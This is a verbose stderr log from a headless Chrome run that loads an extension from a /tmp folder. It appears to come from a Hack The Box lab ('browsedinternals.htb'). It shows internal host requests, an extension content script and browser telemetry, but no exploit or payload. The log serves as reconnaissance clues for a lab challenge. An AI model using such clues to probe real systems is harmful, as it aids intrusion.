[2415:2420:0309/174909.628199:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://localhost/images/pic02.jpg
[2385:2385:0309/174909.660855:VERBOSE1:mutable_profile_oauth2_token_service_delegate.cc(401)] MutablePO2TS::RefreshTokenIsAvailable
[2451:2451:0309/174909.661262:VERBOSE1:script_context.cc(150)] Created context:
extension id: (none)
frame: 0x21240044c7b8
URL:
context_type: WEB_PAGE
effective extension id: (none)
effective context type: WEB_PAGE
[2450:2450:0309/174909.661475:VERBOSE1:script_context.cc(150)] Created context:
extension id: (none)
frame: 0x21240044c7b8
URL:
context_type: WEB_PAGE
effective extension id: (none)
effective context type: WEB_PAGE
[2450:2450:0309/174909.663146:VERBOSE1:script_context.cc(150)] Created context:
extension id: (none)
frame: (nil)
URL:
context_type: UNSPECIFIED
effective extension id: (none)
effective context type: UNSPECIFIED
[2450:2450:0309/174909.663520:VERBOSE1:dispatcher.cc(563)] Num tracked contexts: 1
[2451:2451:0309/174909.662372:VERBOSE1:script_context.cc(150)] Created context:
extension id: (none)
frame: (nil)
URL:
context_type: UNSPECIFIED
effective extension id: (none)
effective context type: UNSPECIFIED
[2451:2451:0309/174909.664005:VERBOSE1:dispatcher.cc(563)] Num tracked contexts: 1
[2385:2385:0309/174909.670386:VERBOSE1:mutable_profile_oauth2_token_service_delegate.cc(401)] MutablePO2TS::RefreshTokenIsAvailable
[2415:2420:0309/174909.672753:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://localhost/images/pic03.jpg
[2415:2420:0309/174909.712228:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://browsedinternals.htb/assets/js/webcomponents.js?v=1.24.5
[2415:2420:0309/174909.712522:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://browsedinternals.htb/assets/js/index.js?v=1.24.5
[2415:2420:0309/174909.741621:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://localhost/assets/css/fontawesome-all.min.css
[2415:2420:0309/174909.742100:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: https://fonts.googleapis.com/css?family=Roboto:100,300,100italic,300italic
[2385:2385:0309/174909.748990:VERBOSE1:segment_result_provider.cc(136)] GetSegmentResult: segment=OPTIMIZATION_TARGET_SEGMENTATION_DEVICE_SWITCHER ignoring DB score, executing model.
[2385:2385:0309/174909.749017:VERBOSE1:segment_result_provider.cc(277)] ExecuteModelAndGetScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_DEVICE_SWITCHER server segment info not available
[2385:2385:0309/174909.749032:VERBOSE1:segment_result_provider.cc(210)] OnGotModelScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_DEVICE_SWITCHER failed to get database model score, trying default model.
[2415:2420:0309/174909.775129:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://localhost/assets/js/jquery.min.js
[2415:2420:0309/174909.775529:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://localhost/assets/js/jquery.scrolly.min.js
[2415:2420:0309/174909.775754:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://localhost/assets/js/jquery.dropotron.min.js
[2415:2420:0309/174909.775920:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://localhost/assets/js/jquery.scrollex.min.js
[2415:2420:0309/174909.780227:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://localhost/assets/js/browser.min.js
[2415:2420:0309/174909.781202:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://localhost/assets/js/breakpoints.min.js
[2415:2420:0309/174909.800603:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://localhost/assets/js/util.js
[2415:2420:0309/174909.801669:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://localhost/assets/js/main.js
[2450:2450:0309/174909.983665:VERBOSE1:script_context.cc(150)] Created context:
extension id: bcihhgmnnmkehdadnllggphpnmjapeag
frame: 0x21240044c7b8
URL:
context_type: CONTENT_SCRIPT
effective extension id: bcihhgmnnmkehdadnllggphpnmjapeag
effective context type: CONTENT_SCRIPT
[2450:2450:0309/174909.984089:VERBOSE1:script_context.cc(150)] Created context:
extension id: (none)
frame: (nil)
URL:
context_type: UNSPECIFIED
effective extension id: (none)
effective context type: UNSPECIFIED
[2450:2450:0309/174909.992591:VERBOSE1:dispatcher.cc(563)] Num tracked contexts: 2
[2415:2420:0309/174909.997167:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: https://preview.redd.it/why-is-larry-so-evil-v0-ty3qlu4swjle1.jpeg?auto=webp&s=41fc3ee5bcec63e5cb4cc69757a812fb80143f47
[2385:2385:0309/174914.549016:VERBOSE1:segment_result_provider.cc(226)] GetCachedModelScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_CHROME_LOW_USER_ENGAGEMENT does not have a segment info.
[2385:2385:0309/174914.549098:VERBOSE1:segment_result_provider.cc(172)] OnGotModelScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_CHROME_LOW_USER_ENGAGEMENT failed to get score from database, executing server model.
[2385:2385:0309/174914.549121:VERBOSE1:segment_result_provider.cc(277)] ExecuteModelAndGetScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_CHROME_LOW_USER_ENGAGEMENT server segment info not available
[2385:2385:0309/174914.549139:VERBOSE1:segment_result_provider.cc(201)] OnGotModelScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_CHROME_LOW_USER_ENGAGEMENT failed to get score from executing server model, getting score from default model from db.
[2385:2385:0309/174914.549189:VERBOSE1:segment_result_provider.cc(240)] GetCachedModelScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_CHROME_LOW_USER_ENGAGEMENT has expired or unavailable result.
[2385:2385:0309/174914.549203:VERBOSE1:segment_result_provider.cc(210)] OnGotModelScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_CHROME_LOW_USER_ENGAGEMENT failed to get database model score, trying default model.
[2385:2385:0309/174914.550912:VERBOSE1:segment_result_provider.cc(226)] GetCachedModelScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_SEARCH_USER does not have a segment info.
[2385:2385:0309/174914.550935:VERBOSE1:segment_result_provider.cc(172)] OnGotModelScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_SEARCH_USER failed to get score from database, executing server model.
[2385:2385:0309/174914.550944:VERBOSE1:segment_result_provider.cc(277)] ExecuteModelAndGetScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_SEARCH_USER server segment info not available
[2385:2385:0309/174914.550955:VERBOSE1:segment_result_provider.cc(201)] OnGotModelScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_SEARCH_USER failed to get score from executing server model, getting score from default model from db.
[2385:2385:0309/174914.550964:VERBOSE1:segment_result_provider.cc(240)] GetCachedModelScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_SEARCH_USER has expired or unavailable result.
[2385:2385:0309/174914.550973:VERBOSE1:segment_result_provider.cc(210)] OnGotModelScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_SEARCH_USER failed to get database model score, trying default model.
[2385:2385:0309/174914.551010:VERBOSE1:segment_result_provider.cc(226)] GetCachedModelScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_SHOPPING_USER does not have a segment info.
[2385:2385:0309/174914.551025:VERBOSE1:segment_result_provider.cc(172)] OnGotModelScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_SHOPPING_USER failed to get score from database, executing server model.
[2385:2385:0309/174914.551040:VERBOSE1:segment_result_provider.cc(277)] ExecuteModelAndGetScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_SHOPPING_USER server segment info not available
[2385:2385:0309/174914.551053:VERBOSE1:segment_result_provider.cc(201)] OnGotModelScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_SHOPPING_USER failed to get score from executing server model, getting score from default model from db.
[2385:2385:0309/174914.551067:VERBOSE1:segment_result_provider.cc(240)] GetCachedModelScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_SHOPPING_USER has expired or unavailable result.
[2385:2385:0309/174914.551080:VERBOSE1:segment_result_provider.cc(210)] OnGotModelScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_SHOPPING_USER failed to get database model score, trying default model.
[2385:2385:0309/174914.551132:VERBOSE1:segment_result_provider.cc(226)] GetCachedModelScore: segment=CROSS_DEVICE_USER_SEGMENT does not have a segment info.
[2385:2385:0309/174914.551142:VERBOSE1:segment_result_provider.cc(172)] OnGotModelScore: segment=CROSS_DEVICE_USER_SEGMENT failed to get score from database, executing server model.
[2385:2385:0309/174914.551165:VERBOSE1:segment_result_provider.cc(277)] ExecuteModelAndGetScore: segment=CROSS_DEVICE_USER_SEGMENT server segment info not available
[2385:2385:0309/174914.551176:VERBOSE1:segment_result_provider.cc(201)] OnGotModelScore: segment=CROSS_DEVICE_USER_SEGMENT failed to get score from executing server model, getting score from default model from db.
[2385:2385:0309/174914.551190:VERBOSE1:segment_result_provider.cc(240)] GetCachedModelScore: segment=CROSS_DEVICE_USER_SEGMENT has expired or unavailable result.
[2385:2385:0309/174914.551202:VERBOSE1:segment_result_provider.cc(210)] OnGotModelScore: segment=CROSS_DEVICE_USER_SEGMENT failed to get database model score, trying default model.
[2385:2385:0309/174914.551429:VERBOSE1:segment_result_provider.cc(226)] GetCachedModelScore: segment=RESUME_HEAVY_USER_SEGMENT does not have a segment info.
[2385:2385:0309/174914.551445:VERBOSE1:segment_result_provider.cc(172)] OnGotModelScore: segment=RESUME_HEAVY_USER_SEGMENT failed to get score from database, executing server model.
[2385:2385:0309/174914.551454:VERBOSE1:segment_result_provider.cc(277)] ExecuteModelAndGetScore: segment=RESUME_HEAVY_USER_SEGMENT server segment info not available
[2385:2385:0309/174914.551463:VERBOSE1:segment_result_provider.cc(201)] OnGotModelScore: segment=RESUME_HEAVY_USER_SEGMENT failed to get score from executing server model, getting score from default model from db.
[2385:2385:0309/174914.551473:VERBOSE1:segment_result_provider.cc(240)] GetCachedModelScore: segment=RESUME_HEAVY_USER_SEGMENT has expired or unavailable result.
[2385:2385:0309/174914.551481:VERBOSE1:segment_result_provider.cc(210)] OnGotModelScore: segment=RESUME_HEAVY_USER_SEGMENT failed to get database model score, trying default model.
[2385:2385:0309/174914.551596:VERBOSE1:segment_result_provider.cc(226)] GetCachedModelScore: segment=PASSWORD_MANAGER_USER does not have a segment info.
[2385:2385:0309/174914.551619:VERBOSE1:segment_result_provider.cc(172)] OnGotModelScore: segment=PASSWORD_MANAGER_USER failed to get score from database, executing server model.
[2385:2385:0309/174914.551628:VERBOSE1:segment_result_provider.cc(277)] ExecuteModelAndGetScore: segment=PASSWORD_MANAGER_USER server segment info not available
[2385:2385:0309/174914.551638:VERBOSE1:segment_result_provider.cc(201)] OnGotModelScore: segment=PASSWORD_MANAGER_USER failed to get score from executing server model, getting score from default model from db.
[2385:2385:0309/174914.551646:VERBOSE1:segment_result_provider.cc(240)] GetCachedModelScore: segment=PASSWORD_MANAGER_USER has expired or unavailable result.
[2385:2385:0309/174914.551654:VERBOSE1:segment_result_provider.cc(210)] OnGotModelScore: segment=PASSWORD_MANAGER_USER failed to get database model score, trying default model.
[2385:2406:0309/174914.552632:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query WITH all_buckets(bucket)AS(VALUES(0),(1),(2),(3),(4),(5),(6),(7),(8),(9),(10),(11),(12),(13),(14),(15),(16),(17),(18),(19),(20),(21),(22),(23),(24),(25),(26),(27))SELECT IFNULL(count_vals,0)FROM (SELECT SUM(metric_value) AS sum_vals, COUNT(metric_value) AS count_vals, (event_timestamp-?)/? AS bucket FROM uma_metrics WHERE metric_hash='4F47AC1641163C54' AND profile_id=? AND type=? AND event_timestamp BETWEEN ? AND ? GROUP BY bucket)RIGHT JOIN all_buckets USING(bucket)ORDER BY bucket Bind values: 0:2026-02-09 17:49:14.549221 UTC 1:86400000000 2:2466474089 3:3 4:2026-02-09 17:49:14.549221 UTC 5:2026-03-09 17:49:14.549221 UTC Result: 0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,
[2385:2406:0309/174914.552799:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT IFNULL(COUNT(metric_value),0)FROM uma_metrics WHERE metric_hash='603A678A76802F71' AND profile_id=? AND type=? AND metric_value IN(1)AND event_timestamp BETWEEN ? AND ? Bind values: 0:2466474089 1:2 2:2026-02-09 17:49:14.550984 UTC 3:2026-03-09 17:49:14.550984 UTC Result: 0.000000,
[2385:2385:0309/174914.552823:VERBOSE1:model_executor_impl.cc(189)] Segmentation model input: feature 0: 0 feature 1: 0 feature 2: 0 feature 3: 0 feature 4: 0 feature 5: 0 feature 6: 0 feature 7: 0 feature 8: 0 feature 9: 0 feature 10: 0 feature 11: 0 feature 12: 0 feature 13: 0 feature 14: 0 feature 15: 0 feature 16: 0 feature 17: 0 feature 18: 0 feature 19: 0 feature 20: 0 feature 21: 0 feature 22: 0 feature 23: 0 feature 24: 0 feature 25: 0 feature 26: 0 feature 27: 0 for segment OPTIMIZATION_TARGET_SEGMENTATION_CHROME_LOW_USER_ENGAGEMENT
[2385:2385:0309/174914.552882:VERBOSE1:model_executor_impl.cc(218)] Segmentation model result: output 0: 1 for segment OPTIMIZATION_TARGET_SEGMENTATION_CHROME_LOW_USER_ENGAGEMENT
[2385:2385:0309/174914.552913:VERBOSE1:segment_result_provider.cc(29)] ComputeDiscreteMapping: segment=: result=1, rank=1
[2385:2385:0309/174914.552924:VERBOSE1:segment_result_provider.cc(359)] OnModelExecuted: Default model executed successfully. Result: PredictionResult: timestamp: 13417552154552907 result 0: 1 for segment OPTIMIZATION_TARGET_SEGMENTATION_CHROME_LOW_USER_ENGAGEMENT
[2385:2385:0309/174914.552938:VERBOSE1:segment_info_database.cc(208)] SaveSegmentResult: saving: PredictionResult: timestamp: 13417552154552907 result 0: 1 for segment id: OPTIMIZATION_TARGET_SEGMENTATION_CHROME_LOW_USER_ENGAGEMENT
[2385:2385:0309/174914.553059:VERBOSE1:cached_result_writer.cc(30)] CachedResultWriter updating prefs with new result: PredictionResult: timestamp: 13417552154552907 result 0: 1 for segmentation key: chrome_low_user_engagement
[2385:2406:0309/174914.553486:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT IFNULL(COUNT(metric_value),0)FROM uma_metrics WHERE metric_hash='1A94D82447638877' AND profile_id=? AND type=? AND metric_value IN(1)AND event_timestamp BETWEEN ? AND ? Bind values: 0:2466474089 1:2 2:2026-03-02 17:49:14.551092 UTC 3:2026-03-09 17:49:14.551092 UTC Result: 0.000000,
[2385:2406:0309/174914.553588:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT IFNULL(COUNT(metric_value),0)FROM uma_metrics WHERE metric_hash='8A5076C9026398BD' AND profile_id=? AND type=? AND event_timestamp BETWEEN ? AND ? Bind values: 0:2466474089 1:1 2:2026-03-02 17:49:14.551092 UTC 3:2026-03-09 17:49:14.551092 UTC Result: 0.000000,
[2385:2406:0309/174914.553722:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT COALESCE((SELECT metric_value FROM uma_metrics WHERE metric_hash='ED7CFEC70BF9942D' AND profile_id=? AND type=? AND event_timestamp BETWEEN ? AND ? ORDER BY event_timestamp DESC,id DESC LIMIT 1),0.000000) Bind values: 0:2466474089 1:3 2:2026-03-02 17:49:14.551092 UTC 3:2026-03-09 17:49:14.551092 UTC Result: 0.000000,
[2385:2406:0309/174914.553857:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT COALESCE((SELECT metric_value FROM uma_metrics WHERE metric_hash='9AD089D233757CA7' AND profile_id=? AND type=? AND event_timestamp BETWEEN ? AND ? ORDER BY event_timestamp DESC,id DESC LIMIT 1),0.000000) Bind values: 0:2466474089 1:3 2:2026-02-09 17:49:14.551216 UTC 3:2026-03-09 17:49:14.551216 UTC Result: 0.000000,
[2385:2385:0309/174914.553947:VERBOSE1:model_executor_impl.cc(189)] Segmentation model input: feature 0: 0 feature 1: 0 feature 2: 0 feature 3: 0 for segment OPTIMIZATION_TARGET_SEGMENTATION_SHOPPING_USER
[2385:2406:0309/174914.553970:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT COALESCE((SELECT metric_value FROM uma_metrics WHERE metric_hash='43AA16B058663FB7' AND profile_id=? AND type=? AND event_timestamp BETWEEN ? AND ? ORDER BY event_timestamp DESC,id DESC LIMIT 1),0.000000) Bind values: 0:2466474089 1:3 2:2026-02-09 17:49:14.551216 UTC 3:2026-03-09 17:49:14.551216 UTC Result: 0.000000,
[2385:2385:0309/174914.554011:VERBOSE1:model_executor_impl.cc(218)] Segmentation model result: output 0: 0 for segment OPTIMIZATION_TARGET_SEGMENTATION_SHOPPING_USER
[2385:2385:0309/174914.554048:VERBOSE1:segment_result_provider.cc(29)] ComputeDiscreteMapping: segment=: result=0, rank=0
[2385:2406:0309/174914.554066:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT COALESCE((SELECT metric_value FROM uma_metrics WHERE metric_hash='B00E169A508F10AD' AND profile_id=? AND type=? AND event_timestamp BETWEEN ? AND ? ORDER BY event_timestamp DESC,id DESC LIMIT 1),0.000000) Bind values: 0:2466474089 1:3 2:2026-02-09 17:49:14.551216 UTC 3:2026-03-09 17:49:14.551216 UTC Result: 0.000000,
[2385:2385:0309/174914.554064:VERBOSE1:segment_result_provider.cc(359)] OnModelExecuted: Default model executed successfully. Result: PredictionResult: timestamp: 13417552154554040 result 0: 0 for segment OPTIMIZATION_TARGET_SEGMENTATION_SHOPPING_USER
[2385:2385:0309/174914.554087:VERBOSE1:segment_info_database.cc(208)] SaveSegmentResult: saving: PredictionResult: timestamp: 13417552154554040 result 0: 0 for segment id: OPTIMIZATION_TARGET_SEGMENTATION_SHOPPING_USER
[2385:2406:0309/174914.554192:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT COALESCE((SELECT metric_value FROM uma_metrics WHERE metric_hash='5FD2B9E0B59FBE33' AND profile_id=? AND type=? AND event_timestamp BETWEEN ? AND ? ORDER BY event_timestamp DESC,id DESC LIMIT 1),0.000000) Bind values: 0:2466474089 1:3 2:2026-02-09 17:49:14.551216 UTC 3:2026-03-09 17:49:14.551216 UTC Result: 0.000000,
[2385:2385:0309/174914.554214:VERBOSE1:cached_result_writer.cc(30)] CachedResultWriter updating prefs with new result: PredictionResult: timestamp: 13417552154554040 result 0: 0 for segmentation key: shopping_user
[2385:2406:0309/174914.554275:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT IFNULL(COUNT(metric_value),0)FROM uma_metrics WHERE metric_hash='C5E37EF42704563E' AND profile_id=? AND type=? AND event_timestamp BETWEEN ? AND ? Bind values: 0:2466474089 1:1 2:2026-03-02 17:49:14.551493 UTC 3:2026-03-09 17:49:14.551493 UTC Result: 0.000000,
[2385:2385:0309/174914.554306:VERBOSE1:model_executor_impl.cc(189)] Segmentation model input: feature 0: 0 feature 1: 0 feature 2: 0 feature 3: 0 for segment CROSS_DEVICE_USER_SEGMENT
[2385:2385:0309/174914.554335:VERBOSE1:model_executor_impl.cc(218)] Segmentation model result: output 0: 1 for segment CROSS_DEVICE_USER_SEGMENT
[2385:2406:0309/174914.554337:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT IFNULL(COUNT(metric_value),0)FROM uma_metrics WHERE metric_hash='B72DBAE88DD1CF7D' AND profile_id=? AND type=? AND event_timestamp BETWEEN ? AND ? Bind values: 0:2466474089 1:1 2:2026-03-02 17:49:14.551493 UTC 3:2026-03-09 17:49:14.551493 UTC Result: 0.000000,
[2385:2385:0309/174914.554367:VERBOSE1:segment_result_provider.cc(29)] ComputeDiscreteMapping: segment=: result=1, rank=1
[2385:2385:0309/174914.554379:VERBOSE1:segment_result_provider.cc(359)] OnModelExecuted: Default model executed successfully. Result: PredictionResult: timestamp: 13417552154554362 result 0: 1 for segment CROSS_DEVICE_USER_SEGMENT
[2385:2385:0309/174914.554399:VERBOSE1:segment_info_database.cc(208)] SaveSegmentResult: saving: PredictionResult: timestamp: 13417552154554362 result 0: 1 for segment id: CROSS_DEVICE_USER_SEGMENT
[2385:2385:0309/174914.554451:VERBOSE1:cached_result_writer.cc(30)] CachedResultWriter updating prefs with new result: PredictionResult: timestamp: 13417552154554362 result 0: 1 for segmentation key: cross_device_user
[2385:2406:0309/174914.554398:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT IFNULL(COUNT(metric_value),0)FROM uma_metrics WHERE metric_hash='43D86E968F3E094A' AND profile_id=? AND type=? AND event_timestamp BETWEEN ? AND ? Bind values: 0:2466474089 1:1 2:2026-03-02 17:49:14.551493 UTC 3:2026-03-09 17:49:14.551493 UTC Result: 0.000000,
[2385:2406:0309/174914.554530:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT IFNULL(COUNT(metric_value),0)FROM uma_metrics WHERE metric_hash='2CA9FE4BEBD6A7C5' AND profile_id=? AND type=? AND event_timestamp BETWEEN ? AND ? Bind values: 0:2466474089 1:1 2:2026-03-02 17:49:14.551493 UTC 3:2026-03-09 17:49:14.551493 UTC Result: 0.000000,
[2385:2406:0309/174914.555040:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT IFNULL(COUNT(metric_value),0)FROM uma_metrics WHERE metric_hash='EBCD1644AA07E17B' AND profile_id=? AND type=? AND event_timestamp BETWEEN ? AND ? Bind values: 0:2466474089 1:1 2:2026-03-02 17:49:14.551493 UTC 3:2026-03-09 17:49:14.551493 UTC Result: 0.000000,
[2385:2406:0309/174914.555189:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT IFNULL(COUNT(metric_value),0)FROM uma_metrics WHERE metric_hash='74AFBBB14C4DB32A' AND profile_id=? AND type=? AND metric_value IN(0)AND event_timestamp BETWEEN ? AND ? Bind values: 0:2466474089 1:2 2:2026-02-09 17:49:14.551667 UTC 3:2026-03-09 17:49:14.551667 UTC Result: 0.000000,
[2385:2406:0309/174914.555387:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT COALESCE((SELECT metric_value FROM uma_metrics WHERE metric_hash='6BF86CCA1FD02CBD' AND profile_id=? AND type=? AND event_timestamp BETWEEN ? AND ? ORDER BY event_timestamp DESC,id DESC LIMIT 1),0.000000) Bind values: 0:2466474089 1:3 2:2026-02-09 17:49:14.551667 UTC 3:2026-03-09 17:49:14.551667 UTC Result: 0.000000,
[2385:2406:0309/174914.555490:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT IFNULL(COUNT(metric_value),0)FROM uma_metrics WHERE metric_hash='F1B94D87A1EF91D5' AND profile_id=? AND type=? AND metric_value IN(0,1,2)AND event_timestamp BETWEEN ? AND ? Bind values: 0:2466474089 1:2 2:2026-02-09 17:49:14.551667 UTC 3:2026-03-09 17:49:14.551667 UTC Result: 0.000000,
[2385:2385:0309/174914.555535:VERBOSE1:model_executor_impl.cc(189)] Segmentation model input: feature 0: 0 feature 1: 0 feature 2: 0 feature 3: 0 feature 4: 0 for segment RESUME_HEAVY_USER_SEGMENT
[2385:2406:0309/174914.555572:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT IFNULL(COUNT(metric_value),0)FROM uma_metrics WHERE metric_hash='F806CECA7515DAAD' AND profile_id=? AND type=? AND metric_value IN(1)AND event_timestamp BETWEEN ? AND ? Bind values: 0:2466474089 1:2 2:2026-02-09 17:49:14.551667 UTC 3:2026-03-09 17:49:14.551667 UTC Result: 0.000000,
[2385:2385:0309/174914.555582:VERBOSE1:model_executor_impl.cc(218)] Segmentation model result: output 0: 0 for segment RESUME_HEAVY_USER_SEGMENT
[2385:2406:0309/174914.555638:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT IFNULL(COUNT(metric_value),0)FROM uma_metrics WHERE metric_hash='FCA0EC1277E6DBE0' AND profile_id=? AND type=? AND metric_value IN(1)AND event_timestamp BETWEEN ? AND ? Bind values: 0:2466474089 1:2 2:2026-02-09 17:49:14.551667 UTC 3:2026-03-09 17:49:14.551667 UTC Result: 0.000000,
[2385:2385:0309/174914.555643:VERBOSE1:segment_result_provider.cc(29)] ComputeDiscreteMapping: segment=: result=0, rank=0
[2385:2385:0309/174914.555657:VERBOSE1:segment_result_provider.cc(359)] OnModelExecuted: Default model executed successfully. Result: PredictionResult: timestamp: 13417552154555635 result 0: 0 for segment RESUME_HEAVY_USER_SEGMENT
[2385:2385:0309/174914.555673:VERBOSE1:segment_info_database.cc(208)] SaveSegmentResult: saving: PredictionResult: timestamp: 13417552154555635 result 0: 0 for segment id: RESUME_HEAVY_USER_SEGMENT
[2385:2385:0309/174914.555725:VERBOSE1:cached_result_writer.cc(30)] CachedResultWriter updating prefs with new result: PredictionResult: timestamp: 13417552154555635 result 0: 0 for segmentation key: resume_heavy_user
[2385:2406:0309/174914.555859:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT IFNULL(COUNT(metric_value),0)FROM uma_metrics WHERE metric_hash='FCA0EC1277E6DBE0' AND profile_id=? AND type=? AND metric_value IN(0,2,3)AND event_timestamp BETWEEN ? AND ? Bind values: 0:2466474089 1:2 2:2026-02-09 17:49:14.551667 UTC 3:2026-03-09 17:49:14.551667 UTC Result: 0.000000,
[2385:2406:0309/174914.555941:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT IFNULL(COUNT(metric_value),0)FROM uma_metrics WHERE metric_hash='DA0925D2758C07B7' AND profile_id=? AND type=? AND metric_value IN(1)AND event_timestamp BETWEEN ? AND ? Bind values: 0:2466474089 1:2 2:2026-02-09 17:49:14.551667 UTC 3:2026-03-09 17:49:14.551667 UTC Result: 0.000000,
[2385:2406:0309/174914.556024:VERBOSE1:ukm_database_backend.cc(328)] Output from SQL query SELECT COUNT(id) FROM metrics WHERE metric_hash = '64BD7CCE5A95BF00' Bind values: Result: 0.000000,
[2385:2385:0309/174914.556130:VERBOSE1:model_executor_impl.cc(189)] Segmentation model input: feature 0: 0 feature 1: 0 feature 2: 0 feature 3: 0 feature 4: 0 feature 5: 0 feature 6: 0 for segment PASSWORD_MANAGER_USER
[2385:2385:0309/174914.556518:VERBOSE1:model_executor_impl.cc(218)] Segmentation model result: output 0: 0 for segment PASSWORD_MANAGER_USER
[2385:2385:0309/174914.556627:VERBOSE1:segment_result_provider.cc(29)] ComputeDiscreteMapping: segment=: result=0, rank=0
[2385:2385:0309/174914.556652:VERBOSE1:segment_result_provider.cc(359)] OnModelExecuted: Default model executed successfully. Result: PredictionResult: timestamp: 13417552154556619 result 0: 0 for segment PASSWORD_MANAGER_USER
[2385:2385:0309/174914.556718:VERBOSE1:segment_info_database.cc(208)] SaveSegmentResult: saving: PredictionResult: timestamp: 13417552154556619 result 0: 0 for segment id: PASSWORD_MANAGER_USER
[2385:2385:0309/174914.556908:VERBOSE1:cached_result_writer.cc(30)] CachedResultWriter updating prefs with new result: PredictionResult: timestamp: 13417552154556619 result 0: 0 for segmentation key: password_manager_user
[2385:2385:0309/174914.557629:VERBOSE1:model_executor_impl.cc(189)] Segmentation model input: feature 0: 0 feature 1: 0 for segment OPTIMIZATION_TARGET_SEGMENTATION_SEARCH_USER
[2385:2385:0309/174914.557810:VERBOSE1:model_executor_impl.cc(218)] Segmentation model result: output 0: 0 for segment OPTIMIZATION_TARGET_SEGMENTATION_SEARCH_USER
[2385:2385:0309/174914.557850:VERBOSE1:segment_result_provider.cc(29)] ComputeDiscreteMapping: segment=: result=0, rank=0
[2385:2385:0309/174914.557861:VERBOSE1:segment_result_provider.cc(359)] OnModelExecuted: Default model executed successfully. Result: PredictionResult: timestamp: 13417552154557845 result 0: 0 for segment OPTIMIZATION_TARGET_SEGMENTATION_SEARCH_USER
[2385:2385:0309/174914.557877:VERBOSE1:segment_info_database.cc(208)] SaveSegmentResult: saving: PredictionResult: timestamp: 13417552154557845 result 0: 0 for segment id: OPTIMIZATION_TARGET_SEGMENTATION_SEARCH_USER
[2385:2385:0309/174914.558036:VERBOSE1:cached_result_writer.cc(30)] CachedResultWriter updating prefs with new result: PredictionResult: timestamp: 13417552154557845 result 0: 0 for segmentation key: search_user
[2385:2404:0309/174914.881012:VERBOSE1:shutdown_signal_handlers_posix.cc(136)] Handling shutdown for signal 15.
[2385:2385:0309/174914.905647:WARNING:zygote_communication_linux.cc(306)] Error reading message from zygote: Connection reset by peer (104)
[2385:2385:0309/174914.906510:ERROR:zygote_communication_linux.cc(296)] Failed to send GetTerminationStatus message to zygote
[2385:2385:0309/174914.906541:WARNING:zygote_communication_linux.cc(308)] Socket closed prematurely.
These are the stderr logs from a headless launch of Chrome. It loads an extension from /tmp/extension_69af0810d42183.82114524:
[2385:2385:0309/174908.746864:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/tmp/extension_69af0810d42183.82114524/_metadata/verified_contents.json": No such file or directory (2)
[2385:2385:0309/174908.746937:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/tmp/extension_69af0810d42183.82114524/_metadata/computed_hashes.json": No such file or directory (2)
